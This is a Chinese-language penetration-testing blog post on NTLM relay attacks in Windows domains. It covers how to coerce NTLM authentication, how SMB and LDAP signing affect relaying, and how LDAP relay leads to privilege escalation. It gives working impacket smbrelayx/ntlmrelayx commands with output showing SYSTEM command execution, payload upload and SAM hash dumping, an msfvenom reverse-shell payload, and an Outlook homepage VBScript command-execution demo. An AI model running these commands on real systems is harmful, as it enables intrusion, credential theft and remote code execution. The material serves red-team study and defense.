域渗透|Relay

域渗透|Relay

Relay(中继)

Relay

简介

https://www.se7ensec.cn/2021/10/19/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-Windows%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E7%BD%91%E7%BB%9C%E8%AE%A4%E8%AF%81%EF%BC%88Net-NTLM%EF%BC%89

Net-NTLM Hash的破解里面,如果是v1的话,拿到Net-NTLM就相当于拿NTLM HASH,这个时候就没有Relay的必要性了。

但是在实际中遇到的例子往往是v2,这个时候密码强度高一点,基本就跑不出来了,这种情况下不妨试一试Relay

详细分析

https://en.hackndo.com/ntlm-relay/#authentication-vs-session

获取net-ntlm hash

常用技巧

https://daiker.gitbook.io/windows-protocol/ntlm-pian/5#0x00-qian-yan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0x01 图标
1.desktop.ini
2.scf 文件
3.用户头像
0x02 系统命令携带UNC路径
0x03 XSS
0x04 outlook
0x05 PDF
0x06 office
0x07 MySQL
0x08 NBNS和LLMNR
1. LLMNR
2. NBNS
0x09 WPAD和mitm6
1. 配合LLMNR/NBNS投毒
2. 配合DHCPv6
0x10 XXE && SSRF
1. XXE
2. SSRF

案例

NBNS和LLMNR - https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory/initial-attack-vectors/llmnr-nbt-ns-poisoning/smb-relay

WPAD和mitm6 - https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory/initial-attack-vectors/ipv6-attacks

exchange+rpc+全补丁方案技巧

https://evi1cg.me/archives/NTLMRelay.html#%E4%B8%BB%E5%8A%A8%E8%A7%A6%E5%8F%91

https://www.anquanke.com/post/id/194514#h3-6

1
2
3
4
5
6
7
8
9
Exchange
\CVE-2018-8581
\CVE-2019-1040
\CVE-2020-17141/CVE-2020-17143
RPC
\打印机Bug
\PetitPotam
AD CS/PKI
\AD CS进行攻击

案例

Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/

CVE-2019-1040[算是上面的中文版本] - https://www.cnblogs.com/car7n/p/15143730.html

NTLM relaying to AD CS - On certificates, printers and a little hippo - https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/

AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps - https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/

工具集成

https://github.com/Ridter/RelayX

关于签名

详细介绍

https://www.thehacker.recipes/ad/movement/ntlm/relay#theory

SMB签名

SMB签名以最低要求的方式工作。如果客户端或服务器都不需要签名,则不会对会话进行签名(因为性能问题)

域控默认开启smb签名,而其他域机器默认不开启

ldap签名

默认情况下,ldap服务器就在域控里面,而且默认策略就是协商签名,而不是强制签名。

也就是说是否签名是由客户端决定的。服务端跟客户端协商是否签名。

微软公司于 2019-09-11 日发布相关通告称微软计划于 2020 年 1 月发布安全更新。为了提升域控制器的安全性,该安全更新将强制开启所有域控制器上 LDAP channel bindingLDAP signing 功能。

webadv或http

webadv或者http协议,是不要求签名的。

Relay2SMB

能直接relaysmb服务器,是最直接最有效的方法。可以直接控制该服务器(包括但不限于在远程服务器上执行命令,上传exe到远程命令上执行,dump服务器的用户hash等等等等)。

SMB版本信息

不同Windows版本所对应的smb版本,smb版本越高,内置的安全机制就越完善,利用难度也就越大。

对一些打了ms08-068[KB957097]补丁的老系统[比如windows xp/2003以下的系统]利用是无效的。

另外,它默认工作在tcp/udp139445端口上,属上层协议[偏应用层]。

Smb v1 主要用于xp/2003以下的系统中
Smb v2.x 主要用于win vista/7/2008/2008r2
Smb v3.x 主要用于win 8/8.1/2012/2012r2/2016

利用环境

工作组

这个实用性比较差。在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码Hash只是保存在自己的SAM文件中。

这个时候Relay到别的机器,除非两台机器的账号密码一样(如果账号密码一样,我为啥不直接pth呢),不然没有别的意义了,这个时候的攻击手段就是将机器reflect回机子本身。

因此微软在ms08-068中对smb reflectsmb 做了限制,这个补丁在CVE-2019-1384(Ghost Potato)被绕过。

域环境

域环境下域用户的账号密码Hash保存在域控的ntds.dit里面。

如下没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,看上面的smb签名一节)

下面演示使用几款工具在域环境底下,从域控relay到普通机器执行命令

签名扫描

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -Pn -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.3.73

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default) #未开启签名状态

Nmap done: 1 IP address (1 host up) scanned in 15.07 seconds

RunFinger.py(responder)

1
2
python3 RunFinger.py -i 192.168.3.73
[SMB2]:['192.168.3.73', Os:'Windows 8.1/Server 2012R2', Build:'9600', Domain:'ROOTKIT', Bootime: 'Last restart: 2020-11-04 23:10:36', Signing:'False', RDP:'True', SMB1:'Enabled']

CrackMapExec

1
2
3
crackmapexec smb --gen-relay-list smb_targets.txt 192.168.1.0/24
SMB 192.168.3.73 445 SRV-WEB-KIT [*] Windows Server 2012 R2 Datacenter 9600 x64 (name:SRV-WEB-KIT) (domain:rootkit.org) (signing:False) (SMBv1:True)
SMB 192.168.3.144 445 OWA2013 [*] Windows Server 2012 Datacenter 9200 x64 (name:OWA2013) (domain:rootkit.org) (signing:True) (SMBv1:True)

利用方式

smbrelayx.py(impacket)

执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
python3 smbrelayx.py -h 192.168.3.73 -c whoami

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Running in relay mode
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.3.144, attacking target 192.168.3.73
[*] Authenticating against 192.168.3.73 as ROOTKIT\Administrator SUCCEED
[*]Administrator::ROOTKIT:62d492858382dd2c:4b986e30ac673950282a482da8b853ab:0101000000000000f21369d8550dd8012b83d77586a84e860000000002000e0052004f004f0054004b0049005400010016005300520056002d005700450042002d004b00490054000400160072006f006f0074006b00690074002e006f007200670003002e005300720076002d005700650062002d004b00690074002e0072006f006f0074006b00690074002e006f00720067000500160072006f006f0074006b00690074002e006f007200670007000800f21369d8550dd801060004000200000008003000300000000000000000000000003000002e29eb7b257b04893a3e81decc305f549463f3e3c6ed2320d434a909dca236d10a001000000000000000000000000000000000000900120063006900660073002f006300310032003300000000000000000000000000
[*] Sending status code STATUS_SUCCESS after authentication to 192.168.3.144
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Executed specified command on host: 192.168.3.73
nt authority\system

[*] Stopping service RemoteRegistry

木马上线

msf的监听要设置 set AutoRunScript migrate,成功得到 session 后会自动迁移进程,如果没有设置,在 Removing file 的时候会话也随之结束。

1
2
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.211 LPORT=4444 -f exe > shell.exe
python3 smbrelayx.py -h 192.168.3.73 -e ./shell.exe (-e选项在目标主机上传并运行payload)

ntlmrelayx.py(impacket)

ntlmrelayx.py是对 smbrelayx 的改进,支持多种协议进行中继。
ntlmrelayx.py 可以直接用现有的 hash 去尝试重放指定的机器。

执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
python3 ntlmrelayx.py -t smb://192.168.3.73 -c whoami -smb2support
[*] Protocol Client SMTP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server

[*] Servers started, waiting for connections
[*] SMBD-Thread-4: Connection from ROOTKIT/[email protected] controlled, attacking target smb://192.168.3.73
[*] Authenticating against smb://192.168.3.73 as ROOTKIT/ADMINISTRATOR SUCCEED
[*] SMBD-Thread-4: Connection from ROOTKIT/[email protected] controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Executed specified command on host: 192.168.3.73
nt authority\system

[*] Stopping service RemoteRegistry

木马上线

1
python3 ntlmrelayx.py -t 10.0.0.33 -smb2support -e test.exe

转储hash

1
2
下面的命令将尝试通过SMB中继身份验证,并尝试从远程目标的SAM转储HASH(如果中继受害者拥有正确的特权)。
python3 ntlmrelayx.py -t smb://192.168.3.73 -smb2support

socks组合拳

We’re currently supporting tunneling connections through SOCKS for SMB, MSSQL, SMTP, IMAP/S, HTTP/S.

1
2
3
运行后输入socks中继提示符,我们可以看到可用的活动连接,以及会话是否对目标具有管理员权限。
python3 ntlmrelayx.py -t smb://192.168.3.73 -socks -smb2support
设置proxychains.conf为socks5 127.0.0.1 1080,所有经过代理的工具都会自带认证信息。

SMB Relay - https://aas-s3curity.gitbook.io/cheatsheet/internalpentest/active-directory/exploitation/exploit-without-account/smb-relay

Playing with Relayed Credentials - https://www.secureauth.com/blog/playing-with-relayed-credentials/

MultiRelay.py(responder)

交互shell

1
python3 MultiRelay.py -t 192.168.3.73 -u ALL # 返回一个shell,kali环境缺库这里就不测了

Relay2EWS

Exchange的认证也是支持NTLM SSP的。我们可以relay Exchange,从而收发邮件,代理等等。在使用outlook的情况下还可以通过homepage或者下发规则达到命令执行的效果。而且这种Relay还有一种好处,将Exchange开放在外网的公司并不在少数,我们可以在外网发起relay,而不需要在内网,这是最刺激的。(https://daiker.gitbook.io/windows-protocol/ntlm-pian/6#2.-relay2ews)

利用工具

https://github.com/Arno0x/NtlmRelayToEWS

命令执行

配合homepage 能够实现命令执行的效果,homepage的简易demo代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!--
Sub window_onload()
Set Application = ViewCtl1.OutlookApplication
Set cmd = Application.CreateObject("Wscript.Shell")
cmd.Run("calc")
End Sub
-->

</script>
</head>

<body>
<object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100%" height="100%"></object>
</body>
</html>

Relay2LDAP

签名扫描

https://github.com/zyn3rgy/LdapRelayScan

三种通用思路

不管是杀伤力巨大的8581还是1040Relayldap都在里面发挥着巨大的作用。

这里着重介绍三种通用性比较强的利用思路。这三种在impacket里面的ntlmrelayx都有实现。

(这三种通用性比较强而已,实际中这个的利用比较灵活,需要通过nTSecurityDescriptor分析用户在域内对哪些acl有权限,什么权限。关于acl怎么深入利用,这里不再展开,后面在ldap篇[https://daiker.gitbook.io/windows-protocol/ldap-pian] 会详细说明。)

高权限用户

如果NTLM发起用户在以下用户组

  • Enterprise admins
  • Domain admins
  • Built-in Administrators
  • Backup operators
  • Account operators

那么就可以将任意用户拉进该组,从而使该用户称为高权限用户,比如域管。

write-acl权限

如果发起者对DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)write-acl权限,那么就可以在该acl里面添加任意用户,从而使得该用户可以具备dcsync的权限。

这个案例的典型例子就是Exchange Windows Permissions组,我们将在下一篇介绍8581的 时候详细说下这个用户组的权限。

普通用户权限

server2012r2之后

server2012r2之后,如果没有以上两个权限。可以通过设置基于资源的约束委派

NTLM发起者马上到msDS-AllowedToActOnBehalfOfOtherIdentity属性里面添加一条ace,可以让任何机器用户和服务用户可以控制该用户(NTLM发起者),在这里可能需要新增一台Computer账号或者控制一台机器。

案例

两全其美:结合 NTLM 中继和 Kerberos 委托 - https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/

渗透小记 - 中继和委派的实战利用 - https://mp.weixin.qq.com/s/rAM3uWimRriY3lKCHhH8Xg

Server2016之后

Server2016之后,支持属性msDS-KeyCredentialLink,添加了这个属性以后,就可以利用证书来获取对应主机权限,详细可参考Shadow Credentials

参考

https://www.thehacker.recipes/a-d/movement/ntlm/relay - 基本攻击思路导图和命令记录【很重要】

https://forum.butian.net/share/2087 - 奇安信攻防社区-NTLM realy

https://forum.butian.net/share/1944 - 红队域渗透NTLM Relay:强制认证方式总结

https://daiker.gitbook.io/windows-protocol/ntlm-pian/6#0x02-relay - 代课人永远的神

https://www.cnblogs.com/car7n/p/14887818.html - NTLM Relay

https://www.freebuf.com/articles/network/244375.html - 内网渗透测试:NTLM Relay攻击分析

作者

Se7en

发布于

2021-11-01

更新于

2023-07-25

许可协议

评论